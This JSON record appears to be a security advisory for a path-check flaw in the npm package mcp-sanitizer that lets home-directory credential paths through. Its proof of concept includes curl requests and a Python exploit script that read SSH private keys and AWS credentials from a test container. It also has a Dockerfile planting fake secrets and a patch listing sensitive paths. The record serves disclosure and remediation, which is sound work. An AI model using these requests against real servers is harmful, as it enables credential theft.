{"id":"GHSA-7w82-6f9j-v9jp","kind":"vulnerability","aliases":["GHSA-7w82-6f9j-v9jp"],"related":[],"title":"mcp-sanitizer: File Path Sanitizer Permits Arbitrary User-Home Absolute Paths","description":"## File Path Sanitizer Permits Arbitrary User-Home Absolute Paths\n\n### Summary\n\n`mcp-sanitizer` v1.3.3 explicitly whitelists `/home/` and `/Users/` as allowed absolute path prefixes in its file path validation logic (`src/utils/validation-utils.js:188-196`). As a result, paths such as `/home/alice/.ssh/id_rsa` and `/home/alice/.aws/credentials` pass through `sanitizer.sanitize()` with `blocked=false`, even though they point to highly sensitive files outside any configured safe root. Any consumer application that trusts the sanitized path and passes it to a filesystem read/write operation (e.g., `fs.readFile`) will expose arbitrary user-home directory files to an unauthenticated network attacker. Dynamic reproduction confirmed exfiltration of a simulated SSH private key and AWS credentials via a single HTTP POST request.\n\n### Details\n\nThe vulnerability resides in the `validateFilePath` function inside `src/utils/validation-utils.js`. When an absolute path falls outside the configured safe root directories, the function performs a secondary check against a hardcoded allowlist:\n\n```js\n// src/utils/validation-utils.js:188-196\nif (!isInSafeLocation && path.isAbsolute(normalizedPath)) {\n  const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];\n  const isAllowedAbsolute = allowedAbsolutePaths.some(allowed =>\n    normalizedPath.toLowerCase().startsWith(allowed.toLowerCase())\n  );\n\n  if (!isAllowedAbsolute) {\n    throw new Error('Absolute path not in allowed safe directory');\n  }\n}\n```\n\nBecause `/home/` and `/Users/` are included in `allowedAbsolutePaths`, any path beneath those directories — including `~/.ssh/id_rsa`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, etc. — is considered safe and passes validation unchanged.\n\nThe dangerous paths (`dangerousUnixPaths` at `src/utils/validation-utils.js:135`) only cover `/etc/`, `/proc/`, `/sys/`, `/dev/`, `/root/`, `/boot/`, `/usr/bin/`, and `/sbin/`. Home-directory sensitive subdirectories (`.ssh`, `.aws`, `.gnupg`, `.kube`, `.config`) are never checked.\n\nThe full data flow from a network request to the vulnerable return value is:\n\n1. **`src/middleware/express.js:538-541`** — The Express middleware routes `file_reader`/`file_writer` tool parameters to `sanitizer.sanitize(params.file_path, { type: 'file_path' })`.\n2. **`src/sanitizer/mcp-sanitizer.js:523-524`** — When `context.type === 'file_path'`, `_secureSanitizeFilePath()` is called.\n3. **`src/sanitizer/mcp-sanitizer.js:683-687`** — `validateFilePath()` is invoked; if it does not throw, the normalized path is returned as the sanitized value.\n4. **`src/utils/validation-utils.js:188-196`** — The `/home/` prefix check passes without error.\n5. **`src/utils/validation-utils.js:200-201`** — The original, attacker-controlled absolute path is returned to the caller as a trusted, sanitized value.\n\nA consumer application receiving `{ blocked: false, sanitized: '/home/victim/.ssh/id_rsa' }` is expected to use that path for I/O. The sanitizer's own `README` and middleware integration imply that a `blocked: false` result is safe to act upon.\n\n**Suggested patch:**\n\n```diff\n--- a/src/utils/validation-utils.js\n+++ b/src/utils/validation-utils.js\n@@\n   const dangerousUnixPaths = ['/etc/', '/proc/', '/sys/', '/dev/', '/root/', '/boot/', '/usr/bin/', '/sbin/'];\n+  const sensitiveHomeFragments = [\n+    '/.ssh/', '/.aws/', '/.gnupg/', '/.kube/', '/.config/',\n+    '/.npmrc', '/.env'\n+  ];\n@@\n+  const normalizedForSensitiveCheck = normalizedPath.replace(/\\\\/g, '/').toLowerCase();\n+  if (sensitiveHomeFragments.some(fragment => normalizedForSensitiveCheck.includes(fragment))) {\n+    throw new Error('Access to sensitive user configuration path not allowed');\n+  }\n@@\n-    const allowedAbsolutePaths = ['/tmp/', '/var/tmp/', '/home/', '/Users/'];\n+    const allowedAbsolutePaths = ['/tmp/', '/var/tmp/'];\n```\n\n### PoC\n\n**Environment requirements:** Docker, Python 3, Node.js 20\n\n**Step 1 — Build and start the reproduction container:**\n\n```bash\n# From the vuln-002/ directory\npython3 poc.py\n```\n\nThe script automatically:\n1. Copies the `mcp-sanitizer` source into a Docker build context.\n2. Creates simulated victim files at `/home/victim/.ssh/id_rsa` and `/home/victim/.aws/credentials` inside the container.\n3. Builds a consumer HTTP server (`server.js`) that calls `sanitizer.sanitize()` and then `fs.readFile` on the returned path.\n4. Sends the three test requests described below.\n\n**Step 2 — Manual HTTP requests (after the container is running on port 13572):**\n\nControl test — must be blocked:\n```bash\ncurl -s -X POST http://127.0.0.1:13572/tool \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"tool_name\":\"file_reader\",\"parameters\":{\"file_path\":\"/etc/passwd\"}}'\n# Expected: {\"blocked\": true}\n```\n\nExploit test 1 — SSH private key exfiltration:\n```bash\ncurl -s -X POST http://127.0.0.1:13572/tool \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"tool_name\":\"file_reader\",\"parameters\":{\"file_path\":\"/home/victim/.ssh/id_rsa\"}}'\n# Expected: {\"blocked\": false, \"EXPLOIT_SUCCESS\": true, \"file_content\": \"-----BEGIN RSA PRIVATE KEY-----...\"}\n```\n\nExploit test 2 — AWS credentials exfiltration:\n```bash\ncurl -s -X POST http://127.0.0.1:13572/tool \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"tool_name\":\"file_reader\",\"parameters\":{\"file_path\":\"/home/victim/.aws/credentials\"}}'\n# Expected: {\"blocked\": false, \"EXPLOIT_SUCCESS\": true, \"file_content\": \"[default]\\naws_access_key_id = ...\"}\n```\n\n**Observed results (Phase 2 dynamic reproduction):**\n\n```\n[Test 1 — Control] POST /tool {file_path: '/etc/passwd'}\n  => blocked=true  ✓  (dangerousUnixPaths correctly blocks /etc/)\n\n[Test 2 — Exploit] POST /tool {file_path: '/home/victim/.ssh/id_rsa'}\n  => blocked=false, EXPLOIT_SUCCESS=true\n  sanitized_path: /home/victim/.ssh/id_rsa\n  file_content:\n    -----BEGIN RSA PRIVATE KEY-----\n    MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK\n    SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002\n    -----END RSA PRIVATE KEY-----\n\n[Test 3 — Exploit] POST /tool {file_path: '/home/victim/.aws/credentials'}\n  => blocked=false, EXPLOIT_SUCCESS=true\n  file_content:\n    [default]\n    aws_access_key_id = AKIAIOSFODNN7EXAMPLE\n    aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\n    region = us-east-1\n```\n\n**Root cause confirmed:** `validation-utils.js:190` — `allowedAbsolutePaths` includes `'/home/'` and `'/Users/'`; any absolute path starting with `/home/` passes with `blocked=false`.\n\n### Impact\n\nThis is a **Path Traversal / Improper Path Restriction (CWE-22)** vulnerability.\n\nAny application that integrates `mcp-sanitizer` to validate file paths for MCP `file_reader` or `file_writer` tools is affected. The library is explicitly designed for use in MCP servers exposed over a network via the Express middleware. An unauthenticated remote attacker can supply an absolute path to any file under `/home/` or `/Users/` — requiring no authentication, no special privileges, and no interaction from a legitimate user.\n\n**Sensitive targets include but are not limited to:**\n- SSH private keys (`~/.ssh/id_rsa`, `~/.ssh/id_ed25519`)\n- Cloud provider credentials (`~/.aws/credentials`, `~/.config/gcloud/credentials.db`)\n- Kubernetes config (`~/.kube/config`)\n- GPG keys (`~/.gnupg/`)\n- Application tokens (`~/.npmrc`, `~/.netrc`, `~/.env`)\n\nThe confidentiality impact is **High** because SSH keys and cloud credentials grant full access to remote systems and cloud infrastructure. There is no integrity or availability impact, as the vulnerability is limited to reading (and potentially writing) files.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 Reproduction: mcp-sanitizer v1.3.3 /home/* path bypass\n# Builds a Node 20 container with:\n#   - mcp-sanitizer source from the local repo\n#   - Fake sensitive files in /home/victim/.ssh/ and /home/victim/.aws/\n#   - A consumer HTTP server that trusts the sanitizer\n\nFROM node:20-slim\n\nLABEL vuln=\"VULN-002\" \\\n      cwe=\"CWE-22\" \\\n      title=\"mcp-sanitizer home-directory path bypass\"\n\n# Install mcp-sanitizer production dependencies\nWORKDIR /app/repo\nCOPY repo/package.json repo/package-lock.json ./\nRUN npm ci --omit=dev --no-audit --no-fund\n\n# Copy mcp-sanitizer source code\nCOPY repo/src ./src\n\n# Create simulated victim home directory with sensitive files\n# These represent secrets a real attacker would target\nRUN mkdir -p /home/victim/.ssh /home/victim/.aws\nRUN echo '-----BEGIN RSA PRIVATE KEY-----'                                 > /home/victim/.ssh/id_rsa && \\\n    echo 'MIIEowIBAAKCAQEA0Z3VS5JJcds3xHnygWep4PAtEsHABkxFQnPmcEDLXdK'  >> /home/victim/.ssh/id_rsa && \\\n    echo 'SECRET_KEY_CONTENT_EXFILTRATED_VIA_HOME_PATH_BYPASS_VULN002'    >> /home/victim/.ssh/id_rsa && \\\n    echo 'CVE_VULN002_SANITIZER_ALLOWS_HOME_DIRECTORY_ABSOLUTE_PATHS'     >> /home/victim/.ssh/id_rsa && \\\n    echo '-----END RSA PRIVATE KEY-----'                                   >> /home/victim/.ssh/id_rsa && \\\n    chmod 600 /home/victim/.ssh/id_rsa\nRUN echo '[default]'                                                        > /home/victim/.aws/credentials && \\\n    echo 'aws_access_key_id = AKIAIOSFODNN7EXAMPLE'                       >> /home/victim/.aws/credentials && \\\n    echo 'aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' >> /home/victim/.aws/credentials && \\\n    echo 'region = us-east-1'                                              >> /home/victim/.aws/credentials && \\\n    chmod 600 /home/victim/.aws/credentials\n\n# Copy the consumer server application\nWORKDIR /app\nCOPY server.js ./server.js\n\nEXPOSE 3000\n\nCMD [\"node\", \"server.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVULN-002 Dynamic Reproduction PoC\nmcp-sanitizer v1.3.3 — File path sanitizer permits arbitrary user-home absolute paths (CWE-22)\n\nVulnerability:\n    src/utils/validation-utils.js:188-196 explicitly whitelists '/home/' and '/Users/'\n    as allowed absolute path prefixes. A path like /home/victim/.ssh/id_rsa passes\n    sanitizer.sanitize(path, {type: 'file_path'}) with blocked=false, and the consumer\n    app reads the file using the trusted sanitized path.\n\nAttack chain:\n    1. Attacker sends POST /tool with file_path=/home/victim/.ssh/id_rsa\n    2. sanitizer.sanitize() returns {blocked: false, sanitized: '/home/victim/.ssh/id_rsa'}\n    3. Consumer app calls fs.readFile(sanitized_path) — trusting the sanitizer\n    4. SSH private key contents returned in HTTP response (exfiltrated)\n\nUsage:\n    python3 poc.py\n\"\"\"\n\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\nimport time\nimport urllib.request\nimport urllib.error\n\n# Paths\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.abspath(os.path.join(SCRIPT_DIR, \"..\", \"repo\"))\nPHASE2_RESULT = os.path.join(SCRIPT_DIR, \"phase2_result.json\")\n\n# Docker settings\nIMAGE_NAME = \"vuln002-mcp-sanitizer-poc\"\nCONTAINER_NAME = \"vuln002-poc-container\"\nHOST_PORT = 13572  # High port to avoid conflicts\n\nBASE_URL = f\"http://127.0.0.1:{HOST_PORT}\"\nTOOL_URL = f\"{BASE_URL}/tool\"\nHEALTH_URL = f\"{BASE_URL}/health\"\n\n\ndef log(msg):\n    print(f\"[poc] {msg}\", flush=True)\n\n\ndef save_result(passed, verdict, reason, evidence, build_cmd, run_cmd):\n    result = {\n        \"passed\": passed,\n        \"verdict\": verdict,\n        \"reason\": reason,\n        \"build_command\": build_cmd,\n        \"run_command\": run_cmd,\n        \"poc_command\": \"python3 poc.py\",\n        \"evidence\": evidence,\n        \"artifacts\": [\"Dockerfile\", \"poc.py\", \"server.js\"]\n    }\n    with open(PHASE2_RESULT, \"w\", encoding=\"utf-8\") as f:\n        json.dump(result, f, indent=2, ensure_ascii=False)\n    log(f\"Saved phase2_result.json (verdict={verdict})\")\n\n\ndef run(cmd, timeout=300, capture=True):\n    \"\"\"Run a subprocess command and return (returncode, stdout, stderr).\"\"\"\n    result = subprocess.run(\n        cmd, capture_output=capture, text=True, timeout=timeout\n    )\n    return result.returncode, result.stdout, result.stderr\n\n\ndef stop_container():\n    subprocess.run(\n        [\"docker\", \"rm\", \"-f\", CONTAINER_NAME],\n        capture_output=True, timeout=15\n    )\n\n\ndef http_post(url, payload, timeout=8):\n    data = json.dumps(payload).encode(\"utf-8\")\n    req = urllib.request.Request(\n        url, data=data,\n        headers={\"Content-Type\": \"application/json\"},\n        method=\"POST\"\n    )\n    with urllib.request.urlopen(req, timeout=timeout) as resp:\n        return json.loads(resp.read().decode(\"utf-8\"))\n\n\ndef http_get(url, timeout=5):\n    with urllib.request.urlopen(url, timeout=timeout) as resp:\n        return json.loads(resp.read().decode(\"utf-8\"))\n\n\ndef wait_for_server(max_wait=40):\n    log(f\"Polling {HEALTH_URL} until ready (max {max_wait}s)...\")\n    deadline = time.monotonic() + max_wait\n    while time.monotonic() < deadline:\n        try:\n            resp = http_get(HEALTH_URL)\n            if resp.get(\"ok\"):\n                log(\"Server is up and responding.\")\n                return True\n        except Exception:\n            pass\n        time.sleep(0.6)\n    return False\n\n\ndef prepare_build_context():\n    \"\"\"\n    Create a temporary Docker build context containing:\n      build_ctx/\n        Dockerfile\n        server.js\n        repo/\n          package.json\n          package-lock.json\n          src/\n    \"\"\"\n    build_ctx = tempfile.mkdtemp(prefix=\"vuln002-ctx-\")\n    log(f\"Build context directory: {build_ctx}\")\n\n    # Copy Dockerfile and server.js from this script's directory\n    for fname in (\"Dockerfile\", \"server.js\"):\n        src = os.path.join(SCRIPT_DIR, fname)\n        dst = os.path.join(build_ctx, fname)\n        shutil.copy2(src, dst)\n        log(f\"  Copied {fname}\")\n\n    # Copy only the necessary repo files (skip node_modules to keep context small)\n    repo_dst = os.path.join(build_ctx, \"repo\")\n    os.makedirs(repo_dst)\n    shutil.copy2(os.path.join(REPO_DIR, \"package.json\"), repo_dst)\n    shutil.copy2(os.path.join(REPO_DIR, \"package-lock.json\"), repo_dst)\n    shutil.copytree(\n        os.path.join(REPO_DIR, \"src\"),\n        os.path.join(repo_dst, \"src\")\n    )\n    log(f\"  Copied repo/src and package files\")\n\n    return build_ctx\n\n\ndef main():\n    log(\"=\" * 60)\n    log(\"VULN-002 Dynamic Reproduction — mcp-sanitizer /home/* bypass\")\n    log(\"=\" * 60)\n\n    # Validate prerequisites\n    if not os.path.isdir(REPO_DIR):\n        log(f\"ERROR: Repo not found at {REPO_DIR}\")\n        save_result(False, \"FAIL\",\n                    f\"재현 전제조건 미충족: repo 디렉터리({REPO_DIR})가 존재하지 않음.\",\n                    \"\", \"\", \"\")\n        return 1\n\n    rc, _, _ = run([\"docker\", \"info\"], timeout=10)\n    if rc != 0:\n        log(\"ERROR: Docker daemon is not accessible.\")\n        save_result(False, \"FAIL\",\n                    \"Docker 데몬에 접근할 수 없음. Docker가 실행 중인지 확인하시오.\",\n                    \"\", \"\", \"\")\n        return 1\n\n    # Clean up any leftover container from a previous run\n    stop_container()\n\n    build_ctx = None\n    try:\n        # Step 1: Prepare build context\n        build_ctx = prepare_build_context()\n\n        # Step 2: Build Docker image\n        build_cmd = f\"docker build -t {IMAGE_NAME} {build_ctx}\"\n        log(f\"Building Docker image: {build_cmd}\")\n        rc, stdout, stderr = run(\n            [\"docker\", \"build\", \"-t\", IMAGE_NAME, build_ctx],\n            timeout=300\n        )\n        if rc != 0:\n            err_tail = (stdout + stderr)[-600:]\n            log(f\"Docker build FAILED (rc={rc}):\\n{err_tail}\")\n            save_result(False, \"FAIL\",\n                        f\"Docker 이미지 빌드 실패 (exit code {rc}). \"\n                        f\"'npm ci --omit=dev' 실패 또는 Dockerfile 오류 가능성. \"\n                        f\"마지막 출력: {err_tail[-200:]}\",\n                        err_tail,\n                        build_cmd,\n                        f\"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}\")\n            return 1\n        log(\"Docker image built successfully.\")\n\n        # Step 3: Run container in detached mode\n        run_cmd = f\"docker run --rm --name {CONTAINER_NAME} -p {HOST_PORT}:3000 -d {IMAGE_NAME}\"\n        log(f\"Starting container: {run_cmd}\")\n        rc, stdout, stderr = run(\n            [\"docker\", \"run\", \"--rm\", \"--name\", CONTAINER_NAME,\n             \"-p\", f\"{HOST_PORT}:3000\", \"-d\", IMAGE_NAME],\n            timeout=30\n        )\n        if rc != 0:\n            log(f\"docker run FAILED:\\n{stderr}\")\n            save_result(False, \"FAIL\",\n                        f\"컨테이너 실행 실패 (exit code {rc}): {stderr[-300:]}\",\n                        stderr[-300:],\n                        build_cmd, run_cmd)\n            return 1\n        container_id = stdout.strip()\n        log(f\"Container started: {container_id[:12]}\")\n\n        # Step 4: Wait for HTTP server inside container\n        if not wait_for_server():\n            # Collect container logs for diagnosis\n            _, clog, _ = run([\"docker\", \"logs\", CONTAINER_NAME], timeout=10)\n            log(f\"Container logs:\\n{clog}\")\n            save_result(False, \"FAIL\",\n                        f\"서버가 {HOST_PORT} 포트에서 제한 시간 내 응답하지 않음. \"\n                        f\"컨테이너 로그: {clog[-300:]}\",\n                        clog[-300:],\n                        build_cmd, run_cmd)\n            stop_container()\n            return 1\n\n        # ----------------------------------------------------------------\n        # Step 5: Test 1 — Control: /etc/passwd must be BLOCKED\n        # ----------------------------------------------------------------\n        log(\"-\" * 50)\n        log(\"TEST 1 (control): file_path=/etc/passwd  [expected: blocked=true]\")\n        try:\n            r_ctrl = http_post(TOOL_URL, {\n                \"tool_name\": \"file_reader\",\n                \"parameters\": {\"file_path\": \"/etc/passwd\"}\n            })\n        except Exception as exc:\n            r_ctrl = {\"_request_error\": str(exc)}\n        log(f\"  Response: {json.dumps(r_ctrl)[:300]}\")\n        ctrl_blocked = r_ctrl.get(\"blocked\", False)\n\n        # ----------------------------------------------------------------\n        # Step 6: Test 2 — Exploit: /home/victim/.ssh/id_rsa must PASS\n        # ----------------------------------------------------------------\n        log(\"-\" * 50)\n        log(\"TEST 2 (exploit): file_path=/home/victim/.ssh/id_rsa  [expected: blocked=false + file content]\")\n        try:\n            r_ssh = http_post(TOOL_URL, {\n                \"tool_name\": \"file_reader\",\n                \"parameters\": {\"file_path\": \"/home/victim/.ssh/id_rsa\"}\n            })\n        except Exception as exc:\n            r_ssh = {\"_request_error\": str(exc)}\n        log(f\"  Response: {json.dumps(r_ssh)[:400]}\")\n\n        # ----------------------------------------------------------------\n        # Step 7: Test 3 — Exploit: /home/victim/.aws/credentials must PASS\n        # ----------------------------------------------------------------\n        log(\"-\" * 50)\n        log(\"TEST 3 (exploit): file_path=/home/victim/.aws/credentials  [expected: blocked=false + AWS creds]\")\n        try:\n            r_aws = http_post(TOOL_URL, {\n                \"tool_name\": \"file_reader\",\n                \"parameters\": {\"file_path\": \"/home/victim/.aws/credentials\"}\n            })\n        except Exception as exc:\n            r_aws = {\"_request_error\": str(exc)}\n        log(f\"  Response: {json.dumps(r_aws)[:400]}\")\n\n        # ----------------------------------------------------------------\n        # Step 8: Evaluate results\n        # ----------------------------------------------------------------\n        log(\"-\" * 50)\n        log(\"Evaluating results...\")\n\n        ssh_bypassed = (\n            not r_ssh.get(\"blocked\", True) and\n            r_ssh.get(\"EXPLOIT_SUCCESS\") is True and\n            \"id_rsa\" in r_ssh.get(\"sanitized_path\", \"\") and\n            bool(r_ssh.get(\"file_content\")) and\n            \"RSA\" in r_ssh.get(\"file_content\", \"\")\n        )\n\n        aws_bypassed = (\n            not r_aws.get(\"blocked\", True) and\n            r_aws.get(\"EXPLOIT_SUCCESS\") is True and\n            \"credentials\" in r_aws.get(\"sanitized_path\", \"\") and\n            bool(r_aws.get(\"file_content\")) and\n            \"aws_access_key_id\" in r_aws.get(\"file_content\", \"\")\n        )\n\n        log(f\"  [control] /etc/passwd blocked={ctrl_blocked}\")\n        log(f\"  [exploit] SSH key bypass={ssh_bypassed}\")\n        log(f\"  [exploit] AWS creds bypass={aws_bypassed}\")\n\n        # PASS requires: control is blocked AND at least SSH bypass confirmed\n        if ctrl_blocked and ssh_bypassed:\n            ssh_content = r_ssh.get(\"file_content\", \"\")\n            aws_content = r_aws.get(\"file_content\", \"\")\n\n            evidence = (\n                f\"[Test 1 — Control] POST /tool {{file_path: '/etc/passwd'}} \"\n                f\"=> blocked=true (dangerousUnixPaths가 /etc/를 올바르게 차단)\\n\\n\"\n                f\"[Test 2 — Exploit] POST /tool {{file_path: '/home/victim/.ssh/id_rsa'}} \"\n                f\"=> blocked=false, EXPLOIT_SUCCESS=true\\n\"\n                f\"  sanitized_path: {r_ssh.get('sanitized_path')}\\n\"\n                f\"  file_content (truncated):\\n\"\n                f\"    {ssh_content[:300]}\\n\\n\"\n                f\"[Test 3 — Exploit] POST /tool {{file_path: '/home/victim/.aws/credentials'}} \"\n                f\"=> blocked={r_aws.get('blocked', True)}, \"\n                f\"EXPLOIT_SUCCESS={r_aws.get('EXPLOIT_SUCCESS')}\\n\"\n                f\"  file_content: {aws_content[:200]}\\n\\n\"\n                f\"[Root Cause] validation-utils.js:190 — \"\n                f\"allowedAbsolutePaths includes '/home/' and '/Users/': \"\n                f\"any absolute path starting with /home/ passes with blocked=false.\"\n            )\n\n            reason = (\n                \"/home/ prefix가 allowedAbsolutePaths 화이트리스트에 포함되어 있어 \"\n                \"/home/victim/.ssh/id_rsa 경로가 sanitizer.sanitize()에서 blocked=false로 반환됨. \"\n                \"소비 앱이 해당 경로로 fs.readFile을 호출하여 SSH 개인키 내용이 HTTP 응답으로 유출됨. \"\n                \"CWE-22 경로 제한 우회 취약점 동적 재현 완료 (컨테이너 내 관측 가능한 파일 유출 확인).\"\n            )\n\n            save_result(\n                True, \"PASS\", reason, evidence,\n                f\"docker build -t {IMAGE_NAME} <build_ctx>\",\n                f\"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}\"\n            )\n            log(\"=== FINAL VERDICT: PASS ===\")\n            return 0\n\n        else:\n            # Record failure details\n            evidence = (\n                f\"[Test 1] ctrl response: {json.dumps(r_ctrl)[:300]}\\n\"\n                f\"[Test 2] ssh response:  {json.dumps(r_ssh)[:300]}\\n\"\n                f\"[Test 3] aws response:  {json.dumps(r_aws)[:300]}\\n\"\n                f\"ctrl_blocked={ctrl_blocked}, ssh_bypassed={ssh_bypassed}, aws_bypassed={aws_bypassed}\"\n            )\n\n            if not ctrl_blocked:\n                # Unexpected: /etc/passwd should be blocked\n                reason = (\n                    \"/etc/passwd 경로가 예상과 달리 차단되지 않았음. \"\n                    \"서버 초기화 오류 또는 취약점 패치 가능성. 서버 로그를 확인하시오.\"\n                )\n            else:\n                reason = (\n                    f\"/home/victim/.ssh/id_rsa bypass 미확인 (ssh_bypassed={ssh_bypassed}). \"\n                    f\"응답: {json.dumps(r_ssh)[:200]}. \"\n                    \"서버 응답 구조 또는 파일 생성 확인 필요. \"\n                    \"container 내 /home/victim/.ssh/id_rsa 파일 존재 여부를 \"\n                    \"'docker exec <container> cat /home/victim/.ssh/id_rsa'로 확인하시오.\"\n                )\n\n            save_result(False, \"FAIL\", reason, evidence,\n                        f\"docker build -t {IMAGE_NAME} <build_ctx>\",\n                        f\"docker run --rm -p {HOST_PORT}:3000 {IMAGE_NAME}\")\n            log(\"=== FINAL VERDICT: FAIL ===\")\n            return 1\n\n    except KeyboardInterrupt:\n        log(\"Interrupted by user.\")\n        return 1\n    except Exception as exc:\n        import traceback\n        tb = traceback.format_exc()\n        log(f\"Unexpected error: {exc}\\n{tb}\")\n        save_result(False, \"INCOMPLETE\",\n                    f\"예상치 못한 오류 발생: {exc}. \"\n                    \"traceback을 확인하고 Docker 환경 및 repo 경로를 점검하시오.\",\n                    tb[-600:], \"\", \"\")\n        return 1\n    finally:\n        stop_container()\n        if build_ctx and os.path.isdir(build_ctx):\n            shutil.rmtree(build_ctx, ignore_errors=True)\n            log(f\"Cleaned up build context: {build_ctx}\")\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```","summary":"mcp-sanitizer v1.3.3 and earlier whitelists /home/ and /Users/ as safe absolute path prefixes, so paths like /home/alice/.ssh/id_rsa or ~/.aws/credentials pass validation. A consumer app that trusts the sanitized path and reads or writes it exposes SSH keys and cloud credentials to a remote request.","severity":"high","cvss":7.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"mcp-sanitizer","fixed":["1.4.0"],"affected":"< 1.4.0","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-22","express","mcp","node","npm","package","self-hosted"],"not_affected_if":["auth-required","no-file-tools","static-paths"],"how_to_check":"- Check the installed version with `npm ls mcp-sanitizer`; affected versions are below `1.4.0`.\n- Search your code for calls to `sanitizer.sanitize(` with `type: 'file_path'` whose result is passed to `fs.readFile` or `fs.writeFile`.\n- Confirm whether that path is reachable from a network request, such as the Express middleware handling `file_reader` or `file_writer` tool parameters.","fix":"- Upgrade `mcp-sanitizer` to `1.4.0`.\n- Until upgraded, do not trust `blocked: false` results from file path sanitization for home-directory paths; restrict file tools to a fixed safe root in your own code.","status":"open","published_at":"2026-10-28T19:51:34+00:00","first_seen_at":"2026-10-28T19:56:30+00:00","triaged_at":"2026-10-28T19:56:38+00:00","updated_at":"2026-10-28T19:56:38+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-28T19:56:38Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `mcp-sanitizer` to `1.4.0`.\n- Until upgraded, do not trust `blocked: false` results from file path sanitization for home-directory paths; restrict file tools to a fixed safe root in your own code.","reach":"internet","title":"mcp-sanitizer: file path check lets reads of home-directory secrets through","impact":"high","summary":"mcp-sanitizer v1.3.3 and earlier whitelists /home/ and /Users/ as safe absolute path prefixes, so paths like /home/alice/.ssh/id_rsa or ~/.aws/credentials pass validation. A consumer app that trusts the sanitized path and reads or writes it exposes SSH keys and cloud credentials to a remote request.","category":"package","nicknames":[],"who_cares":["mcp","npm","node","express","self-hosted"],"confidence":0.8,"needs_auth":"unknown","worst_case":"remote attacker reads SSH keys and cloud credentials from home directories","analyst_note":"","how_to_check":"- Check the installed version with `npm ls mcp-sanitizer`; affected versions are below `1.4.0`.\n- Search your code for calls to `sanitizer.sanitize(` with `type: 'file_path'` whose result is passed to `fs.readFile` or `fs.writeFile`.\n- Confirm whether that path is reachable from a network request, such as the Express middleware handling `file_reader` or `file_writer` tool parameters.","needs_analyst":false,"not_affected_if":["no-file-tools","static-paths","auth-required"],"who_is_affected":"Applications that use mcp-sanitizer to validate file paths for MCP file_reader or file_writer tools, especially when exposed over a network through the Express middleware. Systems where no file tool accepts client-supplied paths, or where reads are confined to a fixed directory in application code, are less exposed.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001229,"input_tokens":8823,"output_tokens":693,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-196':116C,229C,386C '-201':397C '-22':28B '-524':354C '-541':333C '-687':365C '/.aws':468C '/.aws/credentials':57B,274C '/.config':471C '/.env':473C '/.gnupg':276C,469C '/.kube':470C '/.kube/config':275C '/.npmrc':472C '/.ssh':467C '/.ssh/id_rsa':273C '/boot':299C,462C '/dev':297C,460C '/etc':294C,457C '/g':477C '/home':44B,100C,238C,260C,388C,499C '/home/alice/.aws/credentials':125C '/home/alice/.ssh/id_rsa':55B,123C '/home/victim/.ssh/id_rsa':422C '/proc':295C,458C '/root':298C,461C '/sbin':302C,464C '/sys':296C,459C '/tmp':236C,497C,503C '/users':46B,102C,239C,262C,500C '/usr/bin':300C,463C '/var/tmp':237C,498C,504C '1':330C,514C '135':291C '188':115C,228C,385C '2':351C '20':512C '200':396C '3':362C,510C '4':383C '5':394C '523':353C '538':332C '683':364C '6f9j':17A,22A '7w82':16A,21A 'a/src/utils/validation-utils.js':453C 'absolut':12A,49B,91C,105C,207C,252C,403C 'access':487C 'act':448C 'allow':104C,243C,256C,494C 'allowed.tolowercase':246C 'allowedabsolutepath':235C,266C,496C,502C 'allowedabsolutepaths.some':242C 'allowlist':225C 'app':62B 'applic':147C,417C 'arbitrari':8A,87C,165C 'attack':175C,401C 'attacker-control':400C 'aw':187C,309C 'b/src/utils/validation-utils.js':454C 'bash':521C 'beneath':269C 'block':130C,419C,442C 'build':515C 'call':361C 'caller':409C 'check':221C,315C,390C 'cloud':77B 'config':312C 'configur':142C,212C,491C 'confirm':178C 'consid':279C 'const':234C,240C,455C,465C,474C,495C,501C 'consum':61B,146C,416C 'contain':520C 'context.type':356C 'control':402C 'cover':293C 'credenti':78B,188C 'cwe':27B 'danger':286C 'dangerousunixpath':288C,456C 'data':318C 'detail':195C 'diff':452C 'directori':169C,215C,258C,271C,305C 'docker':508C 'dynam':176C 'e.g':161C 'earlier':42B 'environ':506C 'error':251C,393C,486C 'etc':277C 'even':132C 'exfiltr':179C 'expect':424C 'explicit':98C 'expos':73B,164C 'express':29B,335C 'fall':209C 'fals':131C,420C,443C 'file':4A,83C,110C,139C,170C,338C,340C,349C,357C 'filesystem':158C 'flow':319C 'fragment':481C,483C 'fs.readfile':162C 'full':317C 'function':202C,217C 'ghsa':15A,20A 'ghsa-7w82-6f9j-v9jp':14A,19A 'gnupg':310C 'hardcod':224C 'high':137C 'home':11A,90C,168C,304C 'home-directori':303C 'host':36B 'http':192C 'i/o':430C 'impli':439C 'includ':264C,272C 'insid':203C 'integr':438C 'invok':368C 'isallowedabsolut':241C,248C 'isinsafeloc':231C 'js':226C 'key':75B,185C 'kube':311C 'like':54B 'logic':113C 'mcp':2A,25A,30B,38B,95C 'mcp-sanit':1A,37B,94C 'mcp-sanitizer':24A 'middlewar':336C,437C 'network':174C,322C 'never':314C 'new':250C,485C 'node':31B 'node.js':511C 'normal':375C 'normalizedforsensitivecheck':475C 